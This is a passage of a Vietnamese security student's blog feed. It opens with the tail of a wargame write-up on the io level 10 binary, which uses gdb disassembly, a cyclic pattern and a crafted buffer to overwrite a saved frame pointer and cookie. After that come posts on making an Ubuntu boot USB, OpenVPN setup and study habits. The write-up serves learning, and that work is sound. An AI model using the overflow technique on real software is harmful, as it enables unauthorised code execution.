/&gt;(gdb) b main&lt;br /&gt;Breakpoint 1 at 0x8048482&lt;br /&gt;(gdb) b f&lt;br /&gt;Breakpoint 2 at 0x8048404&lt;br /&gt;(gdb) disassemble f&lt;br /&gt;Dump of assembler code for function f:&lt;br /&gt;0x080483fb &lt;f+0&gt;:    push   %ebp&lt;br /&gt;0x080483fc &lt;f+1&gt;:    mov    %esp,%ebp&lt;br /&gt;0x080483fe &lt;f+3&gt;:    sub    $0x110,%esp&lt;br /&gt;0x08048404 &lt;f+9&gt;:    call   0x80483f4 &lt;getebp&gt;&lt;br /&gt;0x08048409 &lt;f+14&gt;:    mov    %eax,-0x4(%ebp)&lt;br /&gt;0x0804840c &lt;f+17&gt;:    mov    -0x4(%ebp),%eax&lt;br /&gt;0x0804840f &lt;f+20&gt;:    mov    (%eax),%edx&lt;br /&gt;0x08048411 &lt;f+22&gt;:    lea    -0x104(%ebp),%eax&lt;br /&gt;0x08048417 &lt;f+28&gt;:    mov    %edx,%ecx&lt;br /&gt;0x08048419 &lt;f+30&gt;:    sub    %eax,%ecx&lt;br /&gt;0x0804841b &lt;f+32&gt;:    mov    %ecx,%eax&lt;br /&gt;0x0804841d &lt;f+34&gt;:    inc    %eax&lt;br /&gt;0x0804841e &lt;f+35&gt;:    mov    %eax,0x804974c&lt;br /&gt;0x08048423 &lt;f+40&gt;:    movl   $0x0,0x8049750&lt;br /&gt;0x0804842d &lt;f+50&gt;:    jmp    0x8048452 &lt;f+87&gt;&lt;br /&gt;0x0804842f &lt;f+52&gt;:    mov    0x8049750,%edx&lt;br /&gt;0x08048435 &lt;f+58&gt;:    mov    0x8049750,%eax&lt;br /&gt;0x0804843a &lt;f+63&gt;:    add    0x8(%ebp),%eax&lt;br /&gt;0x0804843d &lt;f+66&gt;:    movzbl (%eax),%eax&lt;br /&gt;0x08048440 &lt;f+69&gt;:    mov    %al,-0x104(%ebp,%edx,1)&lt;br /&gt;0x08048447 &lt;f+76&gt;:    mov    0x8049750,%eax&lt;br /&gt;0x0804844c &lt;f+81&gt;:    inc    %eax&lt;br /&gt;0x0804844d &lt;f+82&gt;:    mov    %eax,0x8049750&lt;br /&gt;0x08048452 &lt;f+87&gt;:    mov    0x8049750,%edx&lt;br /&gt;0x08048458 &lt;f+93&gt;:    mov    0x804974c,%eax&lt;br /&gt;0x0804845d &lt;f+98&gt;:    cmp    %eax,%edx&lt;br /&gt;0x0804845f &lt;f+100&gt;:    jge    0x8048470 &lt;f+117&gt;&lt;br /&gt;0x08048461 &lt;f+102&gt;:    mov    0x8049750,%eax&lt;br /&gt;0x08048466 &lt;f+107&gt;:    add    0x8(%ebp),%eax&lt;br /&gt;0x08048469 &lt;f+110&gt;:    movzbl (%eax),%eax&lt;br /&gt;---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---&lt;br /&gt;0x0804846c &lt;f+113&gt;:    test   %al,%al&lt;br /&gt;0x0804846e &lt;f+115&gt;:    jne    0x804842f &lt;f+52&gt;&lt;br /&gt;0x08048470 &lt;f+117&gt;:    leave&lt;br /&gt;0x08048471 &lt;f+118&gt;:    ret&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) b *0x08048741&lt;br /&gt;Breakpoint 3 at 0x8048741&lt;br /&gt;&lt;br /&gt;Ta sẽ thử chạy lvl10 với thông số vào là 300 ký tự  ngẫu nhiên :&lt;br /&gt;&lt;br /&gt;- Tạo genbuf :&lt;br /&gt;&lt;/f+118&gt;&lt;/f+117&gt;&lt;/f+52&gt;&lt;/f+115&gt;&lt;/f+113&gt;&lt;/return&gt;&lt;/return&gt;&lt;/f+110&gt;&lt;/f+107&gt;&lt;/f+102&gt;&lt;/f+117&gt;&lt;/f+100&gt;&lt;/f+98&gt;&lt;/f+93&gt;&lt;/f+87&gt;&lt;/f+82&gt;&lt;/f+81&gt;&lt;/f+76&gt;&lt;/f+69&gt;&lt;/f+66&gt;&lt;/f+63&gt;&lt;/f+58&gt;&lt;/f+52&gt;&lt;/f+87&gt;&lt;/f+50&gt;&lt;/f+40&gt;&lt;/f+35&gt;&lt;/f+34&gt;&lt;/f+32&gt;&lt;/f+30&gt;&lt;/f+28&gt;&lt;/f+22&gt;&lt;/f+20&gt;&lt;/f+17&gt;&lt;/f+14&gt;&lt;/getebp&gt;&lt;/f+9&gt;&lt;/f+3&gt;&lt;/f+1&gt;&lt;/f+0&gt;&lt;/main+96&gt;&lt;/geteuid@plt&gt;&lt;/main+91&gt;&lt;/main+89&gt;&lt;/geteuid@plt&gt;&lt;/main+84&gt;&lt;/main+82&gt;&lt;/geteuid@plt&gt;&lt;/main+77&gt;&lt;/main+148&gt;&lt;/main+75&gt;&lt;/main+60&gt;&lt;/main+58&gt;&lt;/main+55&gt;&lt;/main+52&gt;&lt;/main+49&gt;&lt;/exit@plt&gt;&lt;/main+44&gt;&lt;/main+37&gt;&lt;/main+49&gt;&lt;/main+35&gt;&lt;/main+32&gt;&lt;/main+29&gt;&lt;/main+22&gt;&lt;/main+19&gt;&lt;/main+16&gt;&lt;/main+15&gt;&lt;/main+14&gt;&lt;/main+13&gt;&lt;/main+11&gt;&lt;/main+10&gt;&lt;/main+7&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_mMaWcZ9ESZI/SwP79v4rksI/AAAAAAAABmo/80VnZxsl5SE/s1600/Screenshot-H4x0r-2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 784px; height: 111px;" src="http://3.bp.blogspot.com/_mMaWcZ9ESZI/SwP79v4rksI/AAAAAAAABmo/80VnZxsl5SE/s1600/Screenshot-H4x0r-2.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;main+0&gt;&lt;main+4&gt;&lt;main+7&gt;&lt;main+10&gt;&lt;main+11&gt;&lt;main+13&gt;&lt;main+14&gt;&lt;main+15&gt;&lt;main+16&gt;&lt;main+19&gt;&lt;main+22&gt;&lt;main+29&gt;&lt;main+32&gt;&lt;main+35&gt;&lt;main+49&gt;&lt;main+37&gt;&lt;main+44&gt;&lt;exit@plt&gt;&lt;main+49&gt;&lt;main+52&gt;&lt;main+55&gt;&lt;main+58&gt;&lt;main+60&gt;&lt;main+75&gt;&lt;main+148&gt;&lt;main+77&gt;&lt;geteuid@plt&gt;&lt;main+82&gt;&lt;main+84&gt;&lt;geteuid@plt&gt;&lt;main+89&gt;&lt;main+91&gt;&lt;geteuid@plt&gt;&lt;main+96&gt;&lt;f+0&gt;&lt;f+1&gt;&lt;f+3&gt;&lt;f+9&gt;&lt;getebp&gt;&lt;f+14&gt;&lt;f+17&gt;&lt;f+20&gt;&lt;f+22&gt;&lt;f+28&gt;&lt;f+30&gt;&lt;f+32&gt;&lt;f+34&gt;&lt;f+35&gt;&lt;f+40&gt;&lt;f+50&gt;&lt;f+87&gt;&lt;f+52&gt;&lt;f+58&gt;&lt;f+63&gt;&lt;f+66&gt;&lt;f+69&gt;&lt;f+76&gt;&lt;f+81&gt;&lt;f+82&gt;&lt;f+87&gt;&lt;f+93&gt;&lt;f+98&gt;&lt;f+100&gt;&lt;f+117&gt;&lt;f+102&gt;&lt;f+107&gt;&lt;f+110&gt;&lt;return&gt;&lt;return&gt;&lt;f+113&gt;&lt;f+115&gt;&lt;f+52&gt;&lt;f+117&gt;&lt;f+118&gt;- Run :&lt;br /&gt;(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9&lt;br /&gt;&lt;br /&gt;....&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048482 in main ()&lt;br /&gt;(gdb) i r ebp&lt;br /&gt;ebp            0xbfffdbf8    0xbfffdbf8&lt;br /&gt;&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Breakpoint 2, 0x08048404 in f ()&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Breakpoint 4, 0x08048471 in f ()&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;(gdb) i r ebp&lt;/span&gt; &lt;span style="color: rgb(255, 204, 0);"&gt;ebp            0xbfffdb36    0xbfffdb36&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;(gdb) x/x $ebp&lt;/span&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;0xbfffdb36:    0x65413365&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;(gdb) x/x $ebp-0x10&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;0xbfffdb26:    0x41386441&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;---&gt;&lt;/span&gt; ebp khi push vào stack đã bị ghi đè 1 byte thành 0xbfffdb36&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;---&gt;&lt;/span&gt; tại offset của ebp tính tới 4 byte là 0x65413345 ứng với chuỗi eA3e trong đoạn genbuf ở trên.&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;---&gt;&lt;/span&gt; khi đó chương trình sẽ truy xuất cookie là 0x41386441 .&lt;br /&gt;&lt;br /&gt;Đến đây coi như đã xong, việc còn lại là chỉnh sửa genbuf để phù hợp với phân tích trên. genbuf sau khi chỉnh sửa là :&lt;br /&gt;&lt;br /&gt;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7"+"\xed\xac\xef\x0d"+"cede0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"&lt;br /&gt;&lt;br /&gt;Và đoạn exploit như sau :&lt;br /&gt;&lt;/f+118&gt;&lt;/f+117&gt;&lt;/f+52&gt;&lt;/f+115&gt;&lt;/f+113&gt;&lt;/return&gt;&lt;/return&gt;&lt;/f+110&gt;&lt;/f+107&gt;&lt;/f+102&gt;&lt;/f+117&gt;&lt;/f+100&gt;&lt;/f+98&gt;&lt;/f+93&gt;&lt;/f+87&gt;&lt;/f+82&gt;&lt;/f+81&gt;&lt;/f+76&gt;&lt;/f+69&gt;&lt;/f+66&gt;&lt;/f+63&gt;&lt;/f+58&gt;&lt;/f+52&gt;&lt;/f+87&gt;&lt;/f+50&gt;&lt;/f+40&gt;&lt;/f+35&gt;&lt;/f+34&gt;&lt;/f+32&gt;&lt;/f+30&gt;&lt;/f+28&gt;&lt;/f+22&gt;&lt;/f+20&gt;&lt;/f+17&gt;&lt;/f+14&gt;&lt;/getebp&gt;&lt;/f+9&gt;&lt;/f+3&gt;&lt;/f+1&gt;&lt;/f+0&gt;&lt;/main+96&gt;&lt;/geteuid@plt&gt;&lt;/main+91&gt;&lt;/main+89&gt;&lt;/geteuid@plt&gt;&lt;/main+84&gt;&lt;/main+82&gt;&lt;/geteuid@plt&gt;&lt;/main+77&gt;&lt;/main+148&gt;&lt;/main+75&gt;&lt;/main+60&gt;&lt;/main+58&gt;&lt;/main+55&gt;&lt;/main+52&gt;&lt;/main+49&gt;&lt;/exit@plt&gt;&lt;/main+44&gt;&lt;/main+37&gt;&lt;/main+49&gt;&lt;/main+35&gt;&lt;/main+32&gt;&lt;/main+29&gt;&lt;/main+22&gt;&lt;/main+19&gt;&lt;/main+16&gt;&lt;/main+15&gt;&lt;/main+14&gt;&lt;/main+13&gt;&lt;/main+11&gt;&lt;/main+10&gt;&lt;/main+7&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_mMaWcZ9ESZI/SwP8yk6rJCI/AAAAAAAABmw/mgs4tdPiem0/s1600/Screenshot-H4x0r-1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 787px; height: 103px;" src="http://3.bp.blogspot.com/_mMaWcZ9ESZI/SwP8yk6rJCI/AAAAAAAABmw/mgs4tdPiem0/s1600/Screenshot-H4x0r-1.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;main+0&gt;&lt;main+4&gt;&lt;main+7&gt;&lt;main+10&gt;&lt;main+11&gt;&lt;main+13&gt;&lt;main+14&gt;&lt;main+15&gt;&lt;main+16&gt;&lt;main+19&gt;&lt;main+22&gt;&lt;main+29&gt;&lt;main+32&gt;&lt;main+35&gt;&lt;main+49&gt;&lt;main+37&gt;&lt;main+44&gt;&lt;exit@plt&gt;&lt;main+49&gt;&lt;main+52&gt;&lt;main+55&gt;&lt;main+58&gt;&lt;main+60&gt;&lt;main+75&gt;&lt;main+148&gt;&lt;main+77&gt;&lt;geteuid@plt&gt;&lt;main+82&gt;&lt;main+84&gt;&lt;geteuid@plt&gt;&lt;main+89&gt;&lt;main+91&gt;&lt;geteuid@plt&gt;&lt;main+96&gt;&lt;f+0&gt;&lt;f+1&gt;&lt;f+3&gt;&lt;f+9&gt;&lt;getebp&gt;&lt;f+14&gt;&lt;f+17&gt;&lt;f+20&gt;&lt;f+22&gt;&lt;f+28&gt;&lt;f+30&gt;&lt;f+32&gt;&lt;f+34&gt;&lt;f+35&gt;&lt;f+40&gt;&lt;f+50&gt;&lt;f+87&gt;&lt;f+52&gt;&lt;f+58&gt;&lt;f+63&gt;&lt;f+66&gt;&lt;f+69&gt;&lt;f+76&gt;&lt;f+81&gt;&lt;f+82&gt;&lt;f+87&gt;&lt;f+93&gt;&lt;f+98&gt;&lt;f+100&gt;&lt;f+117&gt;&lt;f+102&gt;&lt;f+107&gt;&lt;f+110&gt;&lt;return&gt;&lt;return&gt;&lt;f+113&gt;&lt;f+115&gt;&lt;f+52&gt;&lt;f+117&gt;&lt;f+118&gt;&lt;br /&gt;F/N.&lt;br /&gt;&lt;/f+118&gt;&lt;/f+117&gt;&lt;/f+52&gt;&lt;/f+115&gt;&lt;/f+113&gt;&lt;/return&gt;&lt;/return&gt;&lt;/f+110&gt;&lt;/f+107&gt;&lt;/f+102&gt;&lt;/f+117&gt;&lt;/f+100&gt;&lt;/f+98&gt;&lt;/f+93&gt;&lt;/f+87&gt;&lt;/f+82&gt;&lt;/f+81&gt;&lt;/f+76&gt;&lt;/f+69&gt;&lt;/f+66&gt;&lt;/f+63&gt;&lt;/f+58&gt;&lt;/f+52&gt;&lt;/f+87&gt;&lt;/f+50&gt;&lt;/f+40&gt;&lt;/f+35&gt;&lt;/f+34&gt;&lt;/f+32&gt;&lt;/f+30&gt;&lt;/f+28&gt;&lt;/f+22&gt;&lt;/f+20&gt;&lt;/f+17&gt;&lt;/f+14&gt;&lt;/getebp&gt;&lt;/f+9&gt;&lt;/f+3&gt;&lt;/f+1&gt;&lt;/f+0&gt;&lt;/main+96&gt;&lt;/geteuid@plt&gt;&lt;/main+91&gt;&lt;/main+89&gt;&lt;/geteuid@plt&gt;&lt;/main+84&gt;&lt;/main+82&gt;&lt;/geteuid@plt&gt;&lt;/main+77&gt;&lt;/main+148&gt;&lt;/main+75&gt;&lt;/main+60&gt;&lt;/main+58&gt;&lt;/main+55&gt;&lt;/main+52&gt;&lt;/main+49&gt;&lt;/exit@plt&gt;&lt;/main+44&gt;&lt;/main+37&gt;&lt;/main+49&gt;&lt;/main+35&gt;&lt;/main+32&gt;&lt;/main+29&gt;&lt;/main+22&gt;&lt;/main+19&gt;&lt;/main+16&gt;&lt;/main+15&gt;&lt;/main+14&gt;&lt;/main+13&gt;&lt;/main+11&gt;&lt;/main+10&gt;&lt;/main+7&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-2853216886474894323?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/2853216886474894323/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2009/11/fucked-lvl10io.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/2853216886474894323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/2853216886474894323'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/11/fucked-lvl10io.html' title='fucked lvl10@io !'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_mMaWcZ9ESZI/SwP79v4rksI/AAAAAAAABmo/80VnZxsl5SE/s72-c/Screenshot-H4x0r-2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-4100719634905069438</id><published>2009-11-10T21:26:00.006+07:00</published><updated>2009-11-12T00:10:20.430+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>How to : Make USB bootable to Install Ubuntu 9.10</title><content type='html'>&lt;span style="font-weight: bold;"&gt;I.Dẫn nhập:&lt;/span&gt;&lt;br /&gt;     Bạn muốn cài Ubuntu mà lại không có CD cài đặt, cũng không có điều kiện để đi burn 1 cái. Vậy thì bài này sẽ giúp bạn tạo một USB disk để cài đặt Ubuntu một cách nhanh chóng.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;II. Công cụ:&lt;/span&gt;&lt;br /&gt;   -   Trước tiên, bạn phải có một máy tính khác, chạy Windows hoặc Linux gì cũng được. Mình sẽ hướng dẫn để thao tác trên cả hai.&lt;br /&gt;     -   Một file ảnh *.iso của Ubuntu 9.10 i386. Download ở &lt;a href="http://releases.ubuntu.com/releases/9.10/ubuntu-9.10-desktop-i386.iso"&gt;đây&lt;/a&gt; .&lt;br /&gt;       - Một tiện ích nhỏ để cho ta đỡ công hơn. Download ở &lt;a href="http://12a1nhc.com/Crazy_boy/crazyboy/makeusboot.tar.gz"&gt;đây&lt;/a&gt;&lt;a href="http://12a1nhc.com/Crazy_boy/crazyboy/makeusboot.tar.gz"&gt;.&lt;/a&gt;&lt;br /&gt;       - Và tất nhiên là 1 USB 2.0. Dung lượng trống khoảng 1GB là vừa. Định dạng của USB là fat32.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;III.Tiến hành:&lt;/span&gt;&lt;br /&gt;    - Đối với Windows:&lt;br /&gt;           .giải nén file makeusboot.tar.gz&lt;br /&gt;         .copy file ubuntu-9.10-desktop-i386.iso; nếu không có file này, khi chạy bước dưới đây sẽ tự động tải file này về để làm việc.&lt;br /&gt;         .chạy file fixoph.bat để tiến hành tạo usb boot.&lt;br /&gt;         .bạn bật chức năng boot USB của mainboard. Cắm USB vào và cài đặt.&lt;br /&gt;    - Đối với Linux thì có phần đơn giản hơn.&lt;br /&gt;         .dùng công cụ USB Startup Disk Creator để tạo USB boot này.&lt;br /&gt;         .từ console :&lt;br /&gt;                 $usb-creator-gtk&lt;br /&gt;         .giao diện của chương trình như sau:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_mMaWcZ9ESZI/Svl8UzMPxNI/AAAAAAAABmQ/KeYfQlr0ejs/s1600-h/Screenshot-Make+Startup+Disk.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 282px; height: 320px;" src="http://2.bp.blogspot.com/_mMaWcZ9ESZI/Svl8UzMPxNI/AAAAAAAABmQ/KeYfQlr0ejs/s320/Screenshot-Make+Startup+Disk.png" alt="" id="BLOGGER_PHOTO_ID_5402485924788421842" border="0" /&gt;&lt;/a&gt;      .click vào Other để chọn file iso của Ubuntu. Sau đó chọn Make Startup Disk và đợi.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IV.Mở rộng:&lt;/span&gt;&lt;br /&gt; - Ở đây file fixoph.bat chỉ hỗ trợ cho Ubuntu 9.10 i386. Để tạo USB cho các bản Ubuntu và Linux ở các phiên bản khác thì bạn mở file này, thay ubuntu-9.10-desktop-i386.iso bằng tên file *.iso của phiên bản tương ứng.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;V.Tổng kết:&lt;/span&gt;&lt;br /&gt;- Không tốn quá nhiều công sức cũng như thời gian, bạn đã có một USB để boot cài đặt Ubuntu một cách nhanh chóng.&lt;br /&gt;- Việc cài đặt qua USB còn có một cái lợi nữa, đó là thời gian cài đặt rất nhanh so với cài bằng CD.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-4100719634905069438?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/4100719634905069438/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2009/11/howto-make-usb-bootable-to-install.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4100719634905069438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4100719634905069438'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/11/howto-make-usb-bootable-to-install.html' title='How to : Make USB bootable to Install Ubuntu 9.10'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_mMaWcZ9ESZI/Svl8UzMPxNI/AAAAAAAABmQ/KeYfQlr0ejs/s72-c/Screenshot-Make+Startup+Disk.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-4798210930786301164</id><published>2009-11-10T21:17:00.002+07:00</published><updated>2009-11-10T21:20:08.415+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='openvpn'/><title type='text'>Cài đặt và cấu hình OpenVPN</title><content type='html'>Mới config xong cái OpenVPN server. Viết cái processing để sau này mọi người có cài đặt thì có cái để tham khảo  .&lt;br /&gt;&lt;br /&gt;Link download : &lt;a href="http://12a1nhc.com/Crazy_boy/Slide/installopenvpncentos5.odp" target="_blank"&gt;Click here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-4798210930786301164?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/4798210930786301164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2009/11/cai-at-va-cau-hinh-openvpn.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4798210930786301164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4798210930786301164'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/11/cai-at-va-cau-hinh-openvpn.html' title='Cài đặt và cấu hình OpenVPN'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-8345426352078046039</id><published>2009-10-29T19:14:00.003+07:00</published><updated>2009-10-29T19:43:12.441+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='studying'/><category scheme='http://www.blogger.com/atom/ns#' term='social'/><title type='text'>Dốt quá !</title><content type='html'>Mới thi lúc chiều về, mới cảm nhận được sự dốt của mình. Bài tập dễ như thế mà không làm được, rất nhiều lần rồi, cứ tái diễn mãi. Vì sao như vậy ?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nguyên nhân:&lt;/span&gt;&lt;br /&gt;- Khi lên đại học, làm 1 sinh viên rồi, thái độ của mình đối với kiến thức hời hợt quá. Khi tìm hiểu về vấn đề gì thì lúc nào cũng chủ quan, tự cho mình đã hiểu nhưng khi giải quyết vấn đề liên quan thì lại không được. Học các môn đó thì rất ít khi thực hành, làm bài tập, chỉ khi nào gần ngày thi mới mang đề ra cày. Dù rằng có bạn cày đề đạt kết quả rất cao, qua môn . Nhưng thiết nghĩ bạn thấm được bao nhiêu, thực sự hiểu cặn kẽ nó hay không.&lt;br /&gt;- Lúc nào cũng nói thời gian của mình là hạn hẹp, nhưng hầu hết là để ngồi máy tính, online, chat chít, duyệt web lung tung không mục đích. Nhiều người hay nguỵ biện là để cập nhật thông tin, nhưng cập nhật được bao nhiêu so với thời gian bỏ ra, thay vì đó tối rồi hãy dành time để online đọc báo, vậy ko tốt sao ?&lt;br /&gt;- Đọc sách chưa hiểu cặn kẽ, chưa thử giải quyết các vấn đề mà sách đưa ra dẫn đến thiếu thực tế.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hướng giải quyết như thế nào :&lt;/span&gt;&lt;br /&gt;- Sắp xếp thời gian thật hợp lí để học các môn cứng trên trường và nghiên cứu các vần đề bạn quan tâm. Phải làm bài, thực hành thật nhiều về các vấn đề được đặt ra trong bài học. Ví dụ một ngày, có thể dành sáng chiều để học các môn trên trường, làm hết các bài tập, tìm hiểu các vấn đề giềng mối. Tối thì nghiên cứu các lĩnh vực khác, đọc báo, ngày nghỉ thì giải trí, xem phim một tí cũng không sao, hoặc là đi chơi với bạn bè. Một ngày ngủ 6 tiếng là đủ rồi (12h khuya tới 6h sáng).&lt;br /&gt;- Đừng login vào yahoo khi không cần thiết. hãy để thời gian đó để làm việc khác. Sáng ngủ dậy sớm, 6h. Ăn sáng, duyệt qua mấy tờ báo. 7h đi học hoặc học bài, làm bài, đọc sách. Chiều tối hãy duyệt web, forum ... Rồi tối, trong thời gian nghiên cứu riêng, nếu cần thì online nhiều hơn. Đừng lạm dụng google. Nhiều lúc nguỵ biện rằng lúc học bật máy tính để có gì ko hiểu thì search, tuy nhiên nếu ai nhảy vào buzz là tám liền. Hoặc tình cờ lũ bạn spam cái gì đó hay hay thì phí thời gian đọc, bàn tán. Tớ ghét cái lũ spam này nhất. Lợi ích thấy chẳng bao nhiêu nhưng phiền phức thì nhiều.&lt;br /&gt;- Đọc sách, nhất là sách tiếng nước ngoài, không cần đọc quá nhanh, nhưng đọc để hiểu cặn kẽ vấn đề. Nên take notes mỗi khi gặp lúc không hiểu và lấy đó để đặt vấn đề giải quyết. Đọc sách cốt là để giải quyết vấn đề mình gặp phải, không giải quyết được thì coi như ko đọc sách . Cuối mỗi bài, mỗi đoạn nên có sự tóm tắt, và tự mình viết lại những gì đã gặt hái được từ sách. Phải tổng kết khi hoàn thành xong một mục của sách và giải quyết các ex mà sách đưa ra. Có thể nói và chia sẻ các kiến thức mình đạt được cho mọi người, bạn bè. Cách tốt để thử mình hiểu vấn đề tới đâu.&lt;br /&gt;&lt;br /&gt;Hãy học thật nghiêm túc, không tha thứ cho lỗi lầm, phải rèn luyện từng phần một và đừng ham hố làm nhiều việc cùng một lúc, chả có lợi gì đâu.&lt;br /&gt;&lt;br /&gt;Đã nhiều lần tự nhủ mình, phải cố gắng nữa. Vẫn còn dốt lắm !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-8345426352078046039?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/8345426352078046039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 